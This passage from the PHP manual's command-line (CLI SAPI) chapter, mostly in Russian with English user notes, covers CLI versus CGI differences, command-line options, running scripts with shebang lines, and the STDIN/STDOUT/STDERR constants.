For those of you who want the old CGI behaviour that changes to the actual directory of the script use:
chdir(dirname($_SERVER['argv'][0]));

at the beginning of your scripts.
ben at slax0rnet dot com 02-Feb-2004 07:34
Just a note for people trying to use interactive mode from the commandline.

The purpose of interactive mode is to parse code snippits without actually leaving php, and it works like this:

[root@localhost php-4.3.4]# php -a
Interactive mode enabled

<?php echo "hi!"; ?>
<note, here we would press CTRL-D to parse everything we've entered so far>
hi!
<?php exit(); ?>
<ctrl-d here again>
[root@localhost php-4.3.4]#

I noticed this somehow got ommited from the docs, hope it helps someone!
Adam, php(at)getwebspace.com 17-Jun-2003 04:12
Ok, I've had a heck of a time with PHP > 4.3.x and whether to use CLI vs CGI. The CGI version of 4.3.2 would return (in browser):
---
No input file specified.
---

And the CLI version would return:
---
500 Internal Server Error
---

It appears that in CGI mode, PHP looks at the environment variable PATH_TRANSLATED to determine the script to execute and ignores command line. That is why in the absensce of this environment variable, you get "No input file specified." However, in CLI mode the HTTP headers are not printed. I believe this is intended behavior for both situations but creates a problem when you have a CGI wrapper that sends environment variables but passes the actual script name on the command line.

By modifying my CGI wrapper to create this PATH_TRANSLATED environment variable, it solved my problem, and I was able to run the CGI build of 4.3.2
monte at ispi dot net 04-Jun-2003 03:47
I had a problem with the $argv values getting split up when they contained plus (+) signs. Be sure to use the CLI version, not CGI to get around it.

Monte
Popeye at P-t-B dot com 18-Apr-2003 08:15
In *nix systems, use the WHICH command to show the location of the php binary executable. This is the path to use as the first line in your php shell script file. (#!/path/to/php -q) And execute php from the command line with the -v switch to see what version you are running.

example:

# which php
/usr/local/bin/php
# php -v
PHP 4.3.1 (cli) (built: Mar 27 2003 14:41:51)
Copyright (c) 1997-2002 The PHP Group
Zend Engine v1.3.0, Copyright (c) 1998-2002 Zend Technologies

In the above example, you would use: #!/usr/local/bin/php

Also note that, if you do not have the current/default directory in your PATH (.), you will have to use ./scriptfilename to execute your script file from the command line (or you will receive a "command not found" error). Use the ENV command to show your PATH environment variable value.
volkany at celiknet dot com 20-Feb-2003 01:44
Here goes a very simple clrscr function for newbies...
function clrscr() { system("clear"); }
Alexander Plakidin 14-Feb-2003 05:34
How to change current directory in PHP script to script's directory when running it from command line using PHP 4.3.0?
(you'll probably need to add this to older scripts when running them under PHP 4.3.0 for backwards compatibility)

Here's what I am using:
chdir(preg_replace('/\\/[^\\/]+$/',"",$PHP_SELF));

Note: documentation says that "PHP_SELF" is not available in command-line PHP scripts. Though, it IS available. Probably this will be changed in future version, so don't rely on this line of code...

Use $_SERVER['PHP_SELF'] instead of just $PHP_SELF if you have register_globals=Off
phpnotes at ssilk dot de 22-Oct-2002 03:36
To hand over the GET-variables in interactive mode like in HTTP-Mode (e.g. your URI is myprog.html?hugo=bla&bla=hugo), you have to call

php myprog.html '&hugo=bla&bla=hugo'

(two & instead of ? and &!)

There just a little difference in the $ARGC, $ARGV values, but I think this is in those cases not relevant.
jeff at noSpam[] dot genhex dot net 06-Sep-2002 05:13
You can also call the script from the command line after chmod'ing the file (ie: chmod 755 file.php).

On your first line of the file, enter "#!/usr/bin/php" (or to wherever your php executable is located).  If you want to suppress the PHP headers, use the line of "#!/usr/bin/php -q" for your path.
pyxl at jerrell dot com 18-Feb-2002 11:52
Assuming --prefix=/usr/local/php, it's better to create a symlink from /usr/bin/php or /usr/local/bin/php to target /usr/local/php/bin/php so that it's both in your path and automatically correct every time you rebuild.  If you forgot to do that copy of the binary after a rebuild, you can do all kinds of wild goose chasing when things break.


Введение

Основная цель этого CLI SAPI - разработка консольных приложений на PHP. Имеется довольно много различий между CLI SAPI и другими видами SAPI, которые будут рассмотрены в этой главе. Стоит отметить, что CLI SAPI и CGI - различные SAPI-интерфейсы, хотя в их поведении много общего.

CLI SAPI включается по умолчанию с помощью опции --enable-cli, но может быть выключен опцией --disable-cli при запуске ./configure.

Имя, расположение и существование бинарных модулей CLI/CGI зависит от того, как именно установлен PHP в вашей системе. По умолчанию при выполнении make создаётся как CGI-, так и CLI-модуль, размещённые в директориях sapi/cgi/php-cgi и sapi/cli/php соответственно, внутри директории с исходниками PHP. Следует заметить, что оба файла имеют одинаковое название: php. Что произойдёт при выполнении make install, зависит от того, какие опции вы указали на стадии конфигурирования. Если выбран модуль SAPI во время выполнения, например, apxs, или используется опция опция --disable-cgi, модуль CLI будет скопирован в {PREFIX}/bin/php при выполнении make install, в противном случае будет скопирован CGI-модуль. Например, если задана опция --with-apxs, то при выполнении make install CLI-версия будет скопирована в {PREFIX}/bin/php. Если вы хотите переопределить установку CGI-модуль, используйте make install-cli после выполнения make install. В качестве альтернативы вы могли бы указать опцию --disable-cgi в строке конфигурации.

Замечание:

Поскольку обе опции, --enable-cli и --enable-cgi, включены по умолчанию, просто наличие --enable-cli в команде конфигурации необязательно означает, что CLI будет скопирован в {PREFIX}/bin/php при выполнении make install.

Бинарный файл CLI входит в дистрибутив для Windows в основной папке в качестве файлаphp.exe. CGI-версия находится в файле php-cgi.exe. Кроме того, в дистрибутив входит файл php-win.exe, если PHP был сконфигурирован с помощью --enable-cli-win32. Он полностью эквивалентен CLI-версии, за исключением того, что абсолютно ничего не выводит, и, таким образом, не предоставляет консоль (окно терминала не появляется на экране).

Замечание: Какой из вариантов SAPI установлен?

Выполните из командной строки php -v для получения информации о том, является ли php CGI или CLI. Также вы можете использовать функцию php_sapi_name() или константу PHP_SAPI.

Замечание:

Соответствующую страницу руководства (man) Unix можно просмотреть с помощью команды man php в консоли.

User Contributed Notes

Anonymous 16-Jan-2021 09:54
SAPI = Server Application Programming Interface
CGI = Common Gateway Interface


Основные отличия от остальных реализаций SAPI

Основные отличия CLI SAPI от остальных реализаций SAPI:

  • В отличие от CGI SAPI, заголовки не пишутся в поток вывода.

    Несмотря на то, что в CGI SAPI есть способ подавления HTTP-заголовков, в CLI SAPI нет возможности их включить.

    CLI по умолчанию запускается в тихом режиме, тем не менее, ключи -q и --no-header сохранены для обратной совместимости, что позволяет использовать старые CGI-скрипты.

    Текущая директория не изменяется на рабочую директорию скрипта. (Ключи -C и --no-chdir сохранены для обратной совместимости)

    Сообщения об ошибках выдаются в текстовом режиме (без HTML-форматирования).

  • Некоторые настройки php.ini переопределяются CLI SAPI, поскольку они не имеют смысла при работе в командной строке:

    Переопределяемые директивы php.ini
    Директива | Значение по умолчанию в CLI SAPI | Комментарий
    html_errors | false | По умолчанию false, т.к. бывает достаточно сложно читать в консоли сообщения об ошибке, когда они наполнены бессмысленными HTML-тегами.
    implicit_flush | true | Обычно в консоли желательно отображать вывод, например, из print, echo и других, сразу же минуя буфер. Тем не менее, по-прежнему можно использовать буферизацию вывода для отложенного вывода или манипуляций с ним.
    max_execution_time | 0 (без ограничений) | PHP, выполняемый в консоли, как правило, используется для более широкого диапазона задач, чем обычные веб-скрипты. И так как они могут выполняться очень долго, то максимальное время выполнения неограниченно.
    register_argc_argv true

    Установка этой опции в значение true означает, что скрипты запускаемые через CLI SAPI всегда имеют доступ к argc (количество аргументов, переданных приложению) и argv (массив текущих аргументов).

    При использовании CLI SAPI переменные $argc и $argv автоматически заполняются соответствующими значениями. Эти значения можно также найти в массиве $_SERVER, например: $_SERVER['argv'].

    output_buffering false

    Несмотря на то, что эта опция php.ini жёстко установлена в false, функции буферизации вывода всё ещё доступны.

    max_input_time false

    PHP CLI не поддерживает GET, POST или загрузку файлов.

    Замечание:

    Эти директивы не могут быть инициализированы другими значениями из конфигурационного файла php.ini или любого другого (в случае, если он указан). Это ограничение связано с тем, что значения применяются после обработки конфигурационных файлов. Тем не менее, эти значения могут быть изменены во время работы скрипта (хотя это не имеет особого смысла для всех них, например register_argc_argv).

    Замечание:

    Рекомендуется установить опцию ignore_user_abort для скриптов, используемых из командной строки. За подробностями обращайтесь к функции ignore_user_abort().

  • Для облегчения работы в окружении оболочки было определено некоторое количество констант для потоков ввода/вывода.

  • CLI SAPI не изменяет текущую директорию на директорию исполняемого скрипта.

    Пример #1 Пример, демонстрирующий разницу с CGI SAPI:

    <?php
    // Простейший тестовый скрипт под названием test.php
    echo getcwd(), "\n";
    ?>

    В случае, если используется CGI-версия, результат работы будет следующим:

    $ pwd
/tmp

$ php -q another_directory/test.php
/tmp/another_directory

    Это наглядно демонстрирует, что PHP изменяет текущую директорию на директорию исполняемого скрипта.

    Использование CLI SAPI даёт другой результат:

    $ pwd
/tmp

$ php -f another_directory/test.php
/tmp

    Это обеспечивает большую гибкость при написании консольных скриптов на PHP.

    Замечание:

    CGI SAPI позволяет получить аналогичное CLI SAPI поведение в случае использования ключа -C при запуске из командной строки.

User Contributed Notes

There are no user contributed notes for this page.


Список опций командной строки

Список опций командной строки, предоставляемых PHP, могут быть получены в любой момент, запустив PHP с ключом -h:

Usage: php [options] [-f] <file> [--] [args...]
   php [options] -r <code> [--] [args...]
   php [options] [-B <begin_code>] -R <code> [-E <end_code>] [--] [args...]
   php [options] [-B <begin_code>] -F <file> [-E <end_code>] [--] [args...]
   php [options] -- [args...]
   php [options] -a

  -a               Run interactively
  -c <path>|<file> Look for php.ini file in this directory
  -n               No php.ini file will be used
  -d foo[=bar]     Define INI entry foo with value 'bar'
  -e               Generate extended information for debugger/profiler
  -f <file>        Parse and execute <file>.
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -r <code>        Run PHP <code> without using script tags <?..?>
  -B <begin_code>  Run PHP <begin_code> before processing input lines
  -R <code>        Run PHP <code> for every input line
  -F <file>        Parse and execute <file> for every input line
  -E <end_code>    Run PHP <end_code> after processing all input lines
  -H               Hide any passed arguments from external tools.
  -S <addr>:<port> Run with built-in web server.
  -t <docroot>     Specify document root <docroot> for built-in web server.
  -s               Output HTML syntax highlighted source.
  -v               Version number
  -w               Output source with stripped comments and whitespace.
  -z <file>        Load Zend extension <file>.

  args...          Arguments passed to script. Use -- args when first argument
                   starts with - or script is read from stdin

  --ini            Show configuration file names

  --rf <name>      Show information about function <name>.
  --rc <name>      Show information about class <name>.
  --re <name>      Show information about extension <name>.
  --rz <name>      Show information about Zend extension <name>.
  --ri <name>      Show configuration for extension <name>.

Опции, доступные из командной строки
Опция | Полное название | Описание
-a --interactive

Запустить PHP в интерактивном режиме. Для получения дополнительной информации смотрите раздел Интерактивная консоль.

-b --bindpath

Путь связывания библиотек (Bind Path) для внешнего режима FASTCGI Server (только для CGI).

-C --no-chdir

Не менять текущую директорию на директорию скрипта (только для CGI).

-q --no-header

Тихий режим. Подавляет вывод заголовков HTTP (только для CGI).

-T --timing

Измерить время выполнения скрипта, повторенного count раз (только для CGI).

-c --php-ini

Указывает, либо директорию, в которой нужно искать конфигурационный файл php.ini, либо пользовательский INI-файл (название которого может отличаться от стандартного php.ini), например:

$ php -c /custom/directory/ my_script.php

$ php -c /custom/directory/custom-file.ini my_script.php

Если эта опция не указана, поиск php.ini будет осуществлён в местах по умолчанию.

-n --no-php-ini

Полностью игнорировать php.ini.

-d --define

Устанавливает пользовательское значение для каждой из конфигурационных опций, доступных в php.ini. Синтаксис выглядит следующим образом:

 -d configuration_directive[=value]

# Если значение опущено, то соответствующей опции будет присвоено значение "1"
$ php -d max_execution_time
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(1) "1"

# Указание пустого значения установит соответствующую опцию значением ""
php -d max_execution_time=
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(0) ""

# Конфигурационная переменная будет установлена любым значением, указанным после символа '='
$  php -d max_execution_time=20
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(2) "20"
$  php
        -d max_execution_time=doesntmakesense
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(15) "doesntmakesense"

-e --profile-info

Включить режим расширенной информации, используемый отладчиком/профайлером.

-f --file

Парсит и исполняет файл, указанный в опции -f. Этот параметр необязателен и может быть опущен - достаточно просто указать имя запускаемого файла.

-h и -? | --help и --usage | Выводит список опций командной строки с однострочным описанием того, что они делают.
-i | --info | Вызывает phpinfo() и выводить её результат. В случае, если PHP работает некорректно, рекомендуется выполнить php -i и посмотреть, выводятся ли сообщения об ошибках до или вместо информационных таблиц. Учитывайте, что в случае использования CGI-модуля весь вывод будет в формате HTML и, как следствие, очень большим.
-l --syntax-check

Предоставляет удобный способ для проверки заданного PHP-кода на наличие синтаксических ошибок. В случае успешной проверки будет напечатана следующая фраза: "No syntax errors detected in <filename>", а код возврата будет равен 0. При неудачной проверке будет выведено "Errors parsing <filename>" вместе с внутренними сообщениями парсера, а код возврата будет равен -1.

Данная опция не будет обнаруживать фатальные ошибки (например, вызов неопределённых функций). Используйте опцию -f, если вы хотите проверить код на наличие фатальных ошибок.

Замечание:

Эта опция не работает с опцией -r.

-m --modules

Пример #1 Вывод встроенных (и загруженных) модулей PHP и Zend

$ php -m
[PHP Modules]
xml
tokenizer
standard
session
posix
pcre
overload
mysql
mbstring
ctype

[Zend Modules]

-r --run

Позволяет выполнять PHP-код, указанный непосредственно в командной строке. Открывающие и закрывающие PHP-теги (<?php и ?>) не нужны и будут приводит к синтаксической ошибке, если они присутствуют.

Замечание:

При использовании этого ключа следует быть очень осторожным и избегать недоразумений, связанных с автоматической подстановкой переменных окружения.

Пример #2 Ошибка синтаксиса при использовании двойных кавычек

$ php -r "$foo = get_defined_constants();"
PHP Parse error:  syntax error, unexpected '=' in Command line code on line 1

Parse error: syntax error, unexpected '=' in Command line code on line 1

Проблема здесь заключается в том, что sh/bash выполняет автоматическую подстановку переменных в случае, если используются двойные кавычки ("). Поскольку переменная $foo вряд ли определена, она заменяется пустой строкой, что приводит к тому, что передаваемый PHP-код для выполнения выглядит следующим образом:

$ php -r " = get_defined_constants();"

Правильным решением в данном случае будет использование одинарных кавычек ', поскольку автоматическая подстановка переменных, заключённых в одинарные кавычки, в sh/bash не происходит.

Пример #3 Использование одинарных кавычек для предотвращения подстановки переменных в консоли

$ php -r '$foo = get_defined_constants(); var_dump($foo);'
array(370) {
  ["E_ERROR"]=>
  int(1)
  ["E_WARNING"]=>
  int(2)
  ["E_PARSE"]=>
  int(4)
  ["E_NOTICE"]=>
  int(8)
  ["E_CORE_ERROR"]=>
  [...]

При использовании оболочки, отличной от sh/bash, могут возникнуть другие проблемы. В таком случае необходимо создать отчёт о возникшей ошибке на сайте » https://github.com/php/php-src/issues. Можно столкнуться с проблемами при попытке получить доступ к переменным оболочки или при работе с экранирующими обратными слешами. Теперь вы предупреждены!

Замечание:

Ключ -r доступен в CLI SAPI, но недоступен в CGI SAPI.

Замечание:

Эта опция предназначена только для самого простого кода. Поэтому некоторые конфигурационные директивы (например, auto_prepend_file и auto_append_file) в этом режиме будут проигнорированы.

-B --process-begin

Выполняемый код PHP перед обработкой потока ввода (stdin).

-R --process-code

PHP-код, выполняемый для каждой строки ввода.

В этом режиме есть две специальные переменные: $argn и $argi. $argn содержит строку, которую PHP обрабатывает в данный момент, а $argi содержит номер этой строки.

-F --process-file

PHP-файл, выполняемый для каждой строки ввода.

-E --process-end

PHP-код, выполняемый после обработки ввода.

Пример #4 Использование опций -B, -R и -E для подсчёта количества строк в проекте.

$ find my_proj | php -B '$l=0;' -R '$l += count(@file($argn));' -E 'echo "Всего строк: $l\n";'
Всего строк: 37328

-S --server

Запускает встроенный веб-сервер.

-t | --docroot | Указывает корень документа для встроенного веб-сервера.
-s --syntax-highlight и --syntax-highlighting

Показать исходный код с подсветкой синтаксиса.

Эта опция использует внутренний механизм для разбора файла и записи в стандартный поток вывода подсвеченной версии этого файла. Учтите, что все что она делает, это генерирует блок <code> [...] </code> HTML-тегов, без HTML-заголовков.

Замечание:

Эта опция несовместима с опцией -r.

-v --version

Пример #5 Использование -v для получения типа SAPI и версии PHP и Zend

$ php -v
PHP 5.3.1 (cli) (built: Dec 11 2009 19:55:07)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2009 Zend Technologies

-w --strip

Показать исходный код без комментариев и пробелов.

Замечание:

Эта опция несовместима с опцией -r.

-z --zend-extension

Загружает модуль Zend. Если передано только имя файла, PHP попытается загрузить этот модуль из пути библиотек по умолчанию (обычно указывается в /etc/ld.so.conf в системах Linux). Передача файла с абсолютным путём не будет использовать системный путь поиска библиотеки. Относительное имя файла, содержащее директорию, укажет PHP подгрузить модуль относительно текущей директории.

--ini

Показывает имена конфигурационных файлов и отсканированные директории.

Пример #6 Пример --ini

$ php --ini
Configuration File (php.ini) Path: /usr/dev/php/5.2/lib
Loaded Configuration File:         /usr/dev/php/5.2/lib/php.ini
Scan for additional .ini files in: (none)
Additional .ini files parsed:      (none)
--rf --rfunction

Показывает информацию об указанной функции или методе класса (например, количество и названия параметров).

Эта опция доступна только в том случае, если PHP был скомпилирован с поддержкой Reflection.

Пример #7 Базовое использование --rf

$ php --rf var_dump
Function [ <internal> public function var_dump ] {

  - Parameters [2] {
    Parameter #0 [ <required> $var ]
    Parameter #1 [ <optional> $... ]
  }
}
--rc --rclass

Показывает информацию об указанном классе (список констант, свойств и методов).

Эта опция доступна только в том случае, если PHP был скомпилирован с поддержкой Reflection.

Пример #8 Пример --rc

$ php --rc Directory
Class [ <internal:standard> class Directory ] {

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [0] {
  }

  - Methods [3] {
    Method [ <internal> public method close ] {
    }

    Method [ <internal> public method rewind ] {
    }

    Method [ <internal> public method read ] {
    }
  }
}
--re --rextension

Показывает информацию об указанном модуле (список опций php.ini, определённых функций, констант и классов).

Эта опция доступна только в том случае, если PHP был скомпилирован с поддержкой Reflection.

Пример #9 Пример --re

$ php --re json
Extension [ <persistent> extension #19 json version 1.2.1 ] {

  - Functions {
    Function [ <internal> function json_encode ] {
    }
    Function [ <internal> function json_decode ] {
    }
  }
}
--rz --rzendextension

Показывает информацию о конфигурации указанного Zend-модуля (та же информация, которая возвращается phpinfo()).

--ri --rextinfo

Показывает информацию о конфигурации указанного модуля (та же информация, которая возвращается phpinfo()). Конфигурацию ядра можно узнать, указав в качестве имени модуля значение "main".

Пример #10 Пример --ri

$ php --ri date

date

date/time support => enabled
"Olson" Timezone Database Version => 2009.20
Timezone Database => internal
Default timezone => Europe/Oslo

Directive => Local Value => Master Value
date.timezone => Europe/Oslo => Europe/Oslo
date.default_latitude => 59.930972 => 59.930972
date.default_longitude => 10.776699 => 10.776699
date.sunset_zenith => 90.583333 => 90.583333
date.sunrise_zenith => 90.583333 => 90.583333

Замечание:

Опции -rBRFEH, --ini и --r[fcezi] доступны только в CLI.

User Contributed Notes

dch 03-Nov-2023 10:33
If you would like to see the PHP's current configuration using the -i switch from the shell command line with php.ini specified, then the order of arguments is important. Putting -i after -c gives the intended result.

Info is printed out for the default php.ini (cli)
$ php -i --php-ini /etc/php/7.4/fpm/php.ini | grep -i "loaded conf"
Loaded Configuration File => /etc/php/7.4/cli/php.ini

Info is printed out for the desired php.ini (fpm)
$ php --php-ini /etc/php/7.4/fpm/php.ini -i | grep -i "loaded conf"
Loaded Configuration File => /etc/php/7.4/fpm/php.ini
yanshinian at yeah dot net 24-Dec-2018 02:00
get ./configure

php -i |grep configure

Configure Command =>  './configure'  '--prefix=/app/webserver/php5' '--with-config-file-path=/app/webserver/php5/etc' '--with-config-file-scan-dir=/app/webserver/php5/etc/php.d' '--enable-inline-optimization' '--disable-debug' '--disable-rpath' '--enable-shared' '--enable-opcache' '--enable-fpm' '--with-fpm-user=appuser' '--with-fpm-group=appuser' '--with-mysql=mysqlnd' '--with-mysqli=mysqlnd' '--with-pdo-mysql=mysqlnd' '--with-gettext' '--enable-mbstring' '--enable-exif' '--enable-ftp' '--enable-wddx' '--with-iconv' '--with-mcrypt' '--with-mhash' '--with-openssl' '--enable-bcmath' '--enable-soap' '--with-libxml-dir' '--enable-pcntl' '--enable-shmop' '--enable-sysvmsg' '--enable-sysvsem' '--enable-sysvshm' '--enable-sockets' '--enable-gd-native-ttf' '--enable-gd-jis-conv' '--enable-calendar' '--with-curl=/app/webserver/curl' '--with-zlib' '--enable-zip' '--with-bz2' '--with-readline' '--with-gd' '--with-freetype-dir' '--with-png-dir' '--with-jpeg-dir' '--with-vpx-dir' '--with-xpm-dir' '--with-t1lib' '--disable-json'
Ap.Muthu 03-Oct-2014 03:08
If we start the php's built in webserver (PHP v5.4 onwards) with:
        php -S localhost:8000 -t htdocs
and have an image file picture.jpg in it
and reference it in a html page with:
         <img src="picture.jpg">
the rendered page will not show the image and the html code behind the image is:
        http://localhost:8000/index.php/picture.jpg

If however, the html code in the page is:
         <img src="/picture.jpg">
the picture displays correctly.

Hence relative addressing is broken in PHP 5.4.33 Win32 VC9 build.


Выполнение PHP-файлов

В CLI SAPI есть три различных способа запуска PHP-кода:

  1. Указание конкретного файла для запуска.

    $ php my_script.php

$ php -f my_script.php

    Оба способа (с указанием опции -f или без) запустят файл my_script.php. Нет ограничений, какой файл запускать; в частности, файлы не обязаны иметь расширение .php.

  2. Передать PHP-код напрямую в командной строке.

    $ php -r 'print_r(get_defined_constants());'

    Необходимо быть особо осторожным при использовании этого способа, т.к. может произойти подстановка переменных оболочки при использовании двойных кавычек.

    Замечание:

    Внимательно прочтите пример: в нем нет открывающих и закрывающих тегов! Опция -r просто в них не нуждается, и их использование приведёт к ошибке разбора.

  3. Передать запускаемый PHP-код через стандартный поток ввода (stdin).

    Это даёт мощную возможность создавать PHP-код и передавать его запускаемому файлу, как показано в этом (вымышленном) примере:

    $ some_application | some_filter | php | sort -u > final_output.txt
Вы не можете комбинировать любой из этих трёх способов запуска кода.

Как и любое другое консольное приложение, бинарный файл PHP принимает аргументы, но PHP-скрипт также может получать аргументы. PHP не ограничивает количество аргументов, передаваемых в скрипт (оболочка консоли устанавливает некоторый порог количества символов, которые могут быть переданы; обычно этого лимита хватает). Переданные аргументы доступны в глобальном массиве $argv. Первый индекс (ноль) всегда содержит имя вызываемого скрипта из командной строки. Учтите, что если код вызывается на лету из командной строки с помощью опции -r, значением $argv[0] будет "Стандартный поток" ("Standard input code"); до PHP 7.2.0 это был дефис ("-"). То же самое верно и для кода, переданного через конвейер из STDIN.

Вторая зарегистрированная глобальная переменная - это $argc, содержащая количество элементов в массиве $argv (а не количество аргументов, переданных скрипту).

Если передаваемые аргументы не начинаются с символа -, то особых проблем быть не должно. Передаваемый в скрипт аргумент, который начинается с - создаст проблемы, т.к. PHP решит, что он сам должен его обработать. Для предотвращения подобного поведения используйте разделитель списка аргументов --. После того, как этот разделитель будет проанализирован PHP, все последующие аргументы будут переданы в скрипт нетронутыми.

# Эта команда не запустит данный код, но покажет информацию об использовании PHP
$ php -r 'var_dump($argv);' -h
Usage: php [options] [-f] <file> [args...]
[...]

# Эта команда передаст аргумент '-h' в скрипт, предотвратив показ справки PHP
$ php -r 'var_dump($argv);' -- -h
array(2) {
  [0]=>
  string(1) "-"
  [1]=>
  string(2) "-h"
}

Однако, в Unix-системах есть ещё один способ использования PHP для консольных скриптов. Можно написать скрипт, первая строка которого будет начинаться с #!/usr/bin/php (или же другой корректный путь к бинарному файлу PHP CLI). После этой строки можно поместить обычный PHP-код, заключённый в открывающие и закрывающие теги PHP. Как только будут установлены корректные атрибуты запуска на файл (например, chmod +x test), скрипт может быть запущен как обычный консольный или perl-скрипт:

Пример #1 Запуск PHP-скрипта как консольного

#!/usr/bin/php
<?php
var_dump($argv);
?>

Предполагая, что этот файл назван test и находится в текущей директории, можно сделать следующее:

$ chmod +x test
$ ./test -h -- foo
array(4) {
  [0]=>
  string(6) "./test"
  [1]=>
  string(2) "-h"
  [2]=>
  string(2) "--"
  [3]=>
  string(3) "foo"
}

Как можно увидеть, в этом случае не нужно заботиться о передаче параметров, которые начинаются с -.

Исполняемый PHP-файл может использоваться для запуска PHP-скриптов независимо от веб-сервера. В случае работы в Unix-подобной системе, необходимо добавить в первую строку файла #! (называемый также "shebang") чтобы указать, какая из программ должна запускать скрипт. На Windows-платформах можно назначить обработчик php.exe для файлов с расширениями .php или создать пакетный (.bat) файл для запуска скриптов посредством PHP. Строка, добавляемая в начале скрипта для Unix-систем, не влияет на их работу в ОС Windows, таким образом можно создавать кроссплатформенные скрипты. Ниже приведён простой пример скрипта, выполняемого из командной строки:

Пример #2 Скрипт, предназначенный для запуска из командной строки (script.php)

#!/usr/bin/php
<?php

if ($argc != 2 || in_array($argv[1], array('--help', '-help', '-h', '-?'))) {
?>

Это консольный PHP-скрипт, принимающий один аргумент.

Использование:
<?php echo $argv[0]; ?> <option>

<option> Любое слово, которое вы хотели бы
напечатать. Опции --help, -help, -h,
или -? покажут текущую справочную информацию.

<?php
} else {
echo $argv[1];
}
?>

В приведённом выше скрипте в первой строке содержится shebang, указывающий что этот файл должен запускаться PHP. Работа ведётся с CLI-версией, поэтому не будет выведено ни одного HTTP-заголовка.

Скрипт сначала проверяет наличие обязательного одного аргумента (в дополнение к имени скрипта, который также подсчитывается). Если их нет, или если переданный аргумент был --help, -help, -h или -?, выводится справочное сообщение с использованием $argv[0], которое содержит имя выполняемого скрипта. В противном случае просто выводится полученный аргумент.

Для запуска приведённого примера в Unix-системе, нужно сделать его исполняемым и просто выполнить в консоли script.php echothis или script.php -h. В Windows-системе можно создать пакетный файл:

Пример #3 Пакетный файл для запуска PHP-скрипта из командной строки (script.bat)

@echo OFF
"C:\php\php.exe" script.php %*

Предполагая, что вышеприведённый скрипт называется script.php, а полный путь к CLI php.exe находится в C:\php\php.exe, этот пакетный файл запустит его с переданными параметрами: script.bat echothis или script.bat -h.

Также можно ознакомиться с модулем Readline для получения дополнительных функций, которые можно использовать для улучшения консольного PHP-скрипта.

В Windows запуск PHP можно настроить без необходимости указывать C:\php\php.exe или расширение .php. Подробнее эта тема описана в разделе Запуск PHP из командной строки в Microsoft Windows.

Замечание:

В Windows рекомендуется запускать PHP под актуальной учётной записью пользователя. При работе в сетевой службе некоторые операции не будут выполнены, поскольку "сопоставление имён учётных записей и идентификаторов безопасности не выполнено".

User Contributed Notes

email at alexander-bombis dot de 09-Apr-2021 06:47
For Windows:

After the years I also have the fact that I have to use double quotation marks after php -r on Windows shell.

But in the Powershell you can use single or double quotation!
synnus at gmail dot com 08-Aug-2018 12:46
in php.ini use auto_prepend_file="init.php"
first start script
gabriel at figdice dot org 01-Dec-2016 11:02
Regarding shebang:

In both Linux and Windows, when you execute a script in CLI with:

    php script.php

then PHP will ignore the very first line of your script if it starts with:

    #!

So, this line is not only absorbed by the kernel when the script file is executable, but it is also ignored by the PHP engine itself.

However, the engine will NOT ignore the first #! line of any included files withing your "outer" script.php.
Any "shebang" line in an included script, will result in simply outputting the line to STDOUT, just as any other text residing outside a <?php ...  ?> block.
david at frankieandshadow dot com 15-Jul-2016 10:27
A gotcha when using #!/usr/bin/php at the start of the file as noted above:

if you originally edited the file on Windows and then attempt to use it on Unix, it won't work because the #! line requires a Unix line ending. Bash gives you the following error message if it has DOS line endings:
"bash: /usr/local/bin/wpreplace.php: /usr/bin/php^M: bad interpreter: No such file or directory"

(In Emacs I used "CTRL-X ENTER f" then type "unix" and ENTER to convert)
php at richardneill dot org 01-Apr-2013 04:43
On Linux, the shebang (#!) line is parsed by the kernel into at most two parts.
For example:

1:  #!/usr/bin/php
2:  #!/usr/bin/env  php
3:  #!/usr/bin/php -n
4:  #!/usr/bin/php -ddisplay_errors=E_ALL
5:  #!/usr/bin/php -n -ddisplay_errors=E_ALL

1. is the standard way to start a script. (compare "#!/bin/bash".)

2. uses "env" to find where PHP is installed: it might be elsewhere in the $PATH, such as /usr/local/bin.

3. if you don't need to use env, you can pass ONE parameter here. For example, to ignore the system's PHP.ini, and go with the defaults, use "-n". (See "man php".)

4.  or, you can set exactly one configuration variable. I recommend this one, because display_errors actually takes effect if it is set here. Otherwise, the only place you can enable it is system-wide in php.ini. If you try to use ini_set() in your script itself, it's too late: if your script has a parse error, it will silently die.

5. This will not (as of 2013) work on Linux. It acts as if the whole string, "-n -ddisplay_errors=E_ALL" were a single argument. But in BSD, the shebang line can take more than 2 arguments, and so it may work as intended.

Summary: use (2) for maximum portability, and (4) for maximum debugging.
petruzanautico at yah00 dot com dot ar 17-Aug-2011 01:06
As you can't use -r and -f together, you can circumvent this by doing the following:
php -r '$foo = 678; include("your_script.php");'
spencer at aninternetpresence dot net 07-Aug-2011 05:03
If you are running the CLI on Windows and use the "-r" option, be sure to enclose your PHP code in double (not single) quotes. Otherwise, your code will not run.


Потоки ввода/вывода

Модуль CLI SAPI определяет несколько констант для потоков ввода/вывода, чтобы упростить работу с командной строкой.

Константы, специфичные для модуля CLI
Константа Описание
STDIN

Уже открытый поток ввода (stdin). Это предотвращает необходимость его открывать следующим способом:

<?php
$stdin = fopen('php://stdin', 'r');
?>
Если вы хотите прочесть одну строку из stdin, можно использовать следующий код:
<?php
$line = trim(fgets(STDIN)); // читает одну строку из STDIN
fscanf(STDIN, "%d\n", $number); // читает число из STDIN
?>
STDOUT

Уже открытый поток вывода (stdout). Это предотвращает необходимость его открывать следующим способом:

<?php
$stdout = fopen('php://stdout', 'w');
?>
STDERR

Уже открытый поток ошибок (stderr). Это предотвращает необходимость его открывать следующим способом:

<?php
$stderr = fopen('php://stderr', 'w');
?>

Учитывая вышесказанное, нет необходимости самому открывать поток, например, stderr, а можно просто использовать уже определённую константу ресурса потока:

php -r 'fwrite(STDERR, "stderr\n");'
Вам не нужно явно закрывать эти потоки, они будут закрыты PHP автоматически при окончании вашего скрипта.

Замечание:

Эти константы недоступны, если считывается PHP-скрипт из stdin.

User Contributed Notes

phil_php at zieaon dot com 10-Jun-2020 04:42
Under Linux CLI - STDIN, STDOUT and STDERR can be closed and reconnected to a different php stream such as a file, pipe or even a UDP socket_stream. (I use this technique to send the output/errors of my long running background scripts to a file so I can debug if something goes wrong.)

For example: (The below creates/appends file "/tmp/php_stdout.txt")
<?php
